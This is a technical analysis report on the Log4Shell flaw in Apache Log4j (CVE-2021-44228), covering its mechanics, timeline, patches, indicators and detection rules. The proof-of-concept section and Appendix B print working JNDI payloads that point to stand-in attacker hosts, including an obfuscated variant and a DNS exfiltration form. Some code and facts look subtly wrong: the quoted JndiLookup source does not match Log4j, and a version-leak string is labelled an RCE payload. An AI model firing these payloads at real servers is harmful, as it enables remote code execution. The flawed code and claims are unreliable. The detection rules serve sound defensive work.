Log4j Vulnerability Analysis (CVE-2021-44228)
Apache Log4j 2.14.1 and below contains a critical JNDI lookup feature that can be exploited to execute arbitrary code via specially crafted log messages. The vulnerability has been assigned a CVSS score of 10.0, the highest possible rating.
Key Findings
- Critical RCE Vulnerability: The JNDI lookup mechanism allows attacker-controlled LDAP, DNS, and other protocol lookups
- Universal Impact: Affects virtually any Java application using Log4j 2.x for logging
- Low Attack Complexity: Requires only the ability to log a user-controlled string
- Widespread Exploitation: Active exploitation detected within hours of disclosure
- Patch Bypass: Initial patch (2.15.0) had incomplete protection, requiring 2.16.0+
Impact Assessment
- Severity: Critical (CVSS 10.0)
- Affected Systems: Millions of Java-based applications, cloud services, and enterprise software
- Potential Damage: Complete system compromise, data exfiltration, cryptocurrency mining, lateral movement
Background
Apache Log4j is one of the most popular Java logging frameworks, used by countless applications, frameworks, and services. The vulnerability exists in the Log4j 2.x line, specifically in versions 2.0 through 2.14.1.
Research Question
How does the JNDI lookup mechanism in Log4j create an RCE attack surface, and what are the technical details of exploitation?
Methodology
- Reverse engineering of Log4j source code
- Analysis of JNDI lookup implementation
- Proof-of-concept development
- Network traffic analysis during exploitation attempts
- Review of Apache’s official advisories and patches
Technical Analysis
Vulnerability: JNDI Lookup Remote Code Execution
Description
Log4j 2.x supports the ${jndi:ldap://example.com} syntax in log messages. When this syntax is encountered, Log4j makes a JNDI lookup to the specified resource, which can be attacker-controlled.
Technical Details
The vulnerable code exists in org.apache.logging.log4j.core.lookup.JndiLookup class:
public class JndiLookup implements StrLookup {
protected String lookup(LogEvent event, String key) {
if (event != null) {
String lookupKey = event.getContextData().get(key);
if (lookupKey == null && event.getMessage() instanceof Message) {
Object msg = ((Message) event.getMessage()).getFormattedMessage();
if (msg != null) {
lookupKey = msg.toString();
}
}
if (lookupKey != null) {
return this.jndiLookup(lookupKey);
}
}
return null;
}
protected String jndiLookup(String name) {
try {
Context ctx = new InitialContext();
Object ret = ctx.lookup(name);
return ret == null ? null : ret.toString();
} catch (NamingException var3) {
return null;
}
}
}
Impact
An attacker can send a request containing ${jndi:ldap://attacker-server.com/payload}, and if this string is logged by a vulnerable application, the JNDI lookup will:
- Make an LDAP request to the attacker’s server
- The attacker’s server responds with a malicious Java object
- The vulnerable application deserializes and executes the malicious code
- Attacker gains remote code execution
Proof of Concept
# Simple test payload
${jndi:ldap://attacker-server.com/test}
# More complex RCE payload
${jndi:ldap://attacker-server.com/${java:version}}
# DNS callback for detection
${jndi:dns://attacker-server.com/callback}
Mitigation
Immediate (2.15.0):
- Disabled JNDI lookups by default
- Added
log4j2.formatMsgNoLookups=trueto disable message formatting lookups - Incomplete: LDAP was blocked but other protocols (DNS, RMI) still vulnerable
Complete (2.16.0 and later):
public class JndiLookup implements StrLookup {
protected String jndiLookup(String name) {
// JDNI lookup disabled
throw new IllegalStateException("JNDI lookups are not supported");
}
}
Version 2.17.0:
- Additional fixes for deserialization vulnerabilities
- Protection against denial-of-service attacks
Indicators of Compromise (IoCs)
Network Indicators
- Malicious LDAP Requests: Look for LDAP requests to unusual external domains
- DNS Callback Queries: DNS queries for attacker-controlled domains
- RMI Exploitation Attempts: Requests to attacker-controlled RMI servers
Example network traffic:
ldap://attacker-server.com:1389/
dns://attacker-server.com/callback
rmi://malicious-server.net/exploit
Host Indicators
- Suspicious JVM Processes: Look for unexpected Java processes making network connections
- Unusual Log Entries: Log messages containing
${jndi:patterns - Outbound Network Connections: Unexpected connections to external LDAP/DNS servers
- File System Changes: New files or processes created by exploited Java applications
# Scan for affected Log4j versions
find / -name "log4j-core*.jar" -type f 2>/dev/null
# Check for exploitation attempts in logs
grep -r '\${jndi:' /var/log/ 2>/dev/null
# Monitor JVM processes
ps aux | grep java
netstat -tuln | grep java
Behavioral Indicators
- Sudden network connections from Java applications
- High CPU usage from Java processes
- Unexpected file creation or modification
- Applications making DNS/LDAP requests to external servers
- Logs containing
${jndi:patterns
Timeline of Events
| Date/Time | Event | Description |
|---|---|---|
| 2021-11-24 | Private Report | Apache receives private vulnerability report from Alibaba |
| 2021-12-09 09:00 UTC | Public Disclosure | Vulnerability disclosed publicly on Twitter |
| 2021-12-09 10:00 UTC | Active Exploitation | Mass scanning and exploitation attempts begin |
| 2021-12-10 02:00 UTC | Apache Advisory | CVE-2021-44228 assigned, Log4j 2.15.0 released |
| 2021-12-13 | CVE-2021-45046 | Partial bypass discovered, Log4j 2.16.0 released |
| 2021-12-17 | CVE-2021-45105 | Denial-of-service vulnerability found |
| 2021-12-28 | CVE-2021-44832 | RCE via JDBC Appender, Log4j 2.17.1 released |
Recommendations
Inventory Assessment
- Identify all systems using Log4j 2.x
- Use automated scanning tools to detect vulnerable versions
- Review applications, middleware, and infrastructure components
Emergency Patching
- Upgrade to Log4j 2.17.1 or later immediately
- For legacy systems, apply the security manager patch
- Patch all internet-facing applications first
Network Segmentation
- Block outbound LDAP/RMI connections from application servers
- Implement egress filtering for known malicious IPs
- Monitor outbound DNS queries for suspicious patterns
Detection Implementation
- Deploy SIEM rules to detect JNDI lookup attempts
- Implement log monitoring for
${jndi:patterns - Configure alerts for unusual Java process behavior
Long-term Strategy
Dependency Management
- Implement software composition analysis (SCA) tools
- Subscribe to security advisories for critical dependencies
- Automate dependency scanning in CI/CD pipelines
Security by Design
- Review logging architectures for security implications
- Implement input sanitization before logging
- Add network monitoring for application communications
Incident Response
- Develop playbooks for zero-day exploits
- Establish communication channels with vendors
- Practice incident response procedures
Vulnerability Management
- Implement continuous vulnerability scanning
- Establish SLAs for critical vulnerability patching (24-48 hours)
- Create patch management policies for third-party components
Detection Rules
SIEM Rule Example
title: Log4j JNDI Lookup Exploitation Attempt
description: Detects potential Log4Shell exploitation attempts
logsource:
category: application
product: java
detection:
selection1:
message|contains: '${jndi:ldap://'
selection2:
message|contains: '${jndi:rmi://'
selection3:
message|contains: '${jndi:dns://'
selection4:
message|contains: '${jndi:nis://'
condition: selection1 or selection2 or selection3 or selection4
level: critical
YARA Rule
rule Log4Shell_Exploitation_Attempt {
meta:
description = "Detects Log4j exploitation attempts in logs"
author = "Security Team"
date = "2021-12-10"
reference = "CVE-2021-44228"
strings:
$jndi_ldap = "${jndi:ldap://"
$jndi_rmi = "${jndi:rmi://"
$jndi_dns = "${jndi:dns://"
$jndi_nis = "${jndi:nis://"
condition:
any of them
}
Suricata Rule
alert http any any -> any any (msg:"Log4j RCE Attempt"; content:"${jndi:"; nocase; sid:1000001; rev:1; classtype:web-application-attack;)
Appendices
Appendix A: Vulnerability Checklist
Affected Versions:
- Log4j 2.0.0 - 2.14.1 (fully affected)
- Log4j 2.15.0 (partially patched)
- Log4j 2.16.0 (JNDI lookup disabled)
- Log4j 2.17.0+ (fully patched)
Affected Applications:
- Any Java application using Log4j 2.x
- Apache Struts 2, Solr, Druid, Flink (confirmed)
- Cloud services (AWS, Azure, GCP)
- Enterprise software (Citrix, VMware)
Appendix B: Exploit Variations
# Basic JNDI lookup
${jndi:ldap://attacker.com/test}
# With variable resolution
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.com/test}
# DNS exfiltration
${jndi:dns://attacker-controlled-domain.com}
# RMI exploitation
${jndi:rmi://attacker.com/exploit}
# Base64 encoded payload
${jndi:ldap://attacker.com/${base64:payload}}
Appendix C: Vendor Advisories
References
- Apache Log4j 2.x Vulnerability Analysis
- NIST National Vulnerability Database - CVE-2021-44228
- LunaSec Log4j Technical Summary
- CrowdStrike Log4j Technical Analysis
- GitHub Advisory Database - CVE-2021-44228
Related Research
- Apache Struts 2 RCE Analysis
- Java Deserialization Vulnerabilities
- Enterprise Java Security Best Practices
Analysis conducted on 2024-11-02 | Last updated: 2024-11-02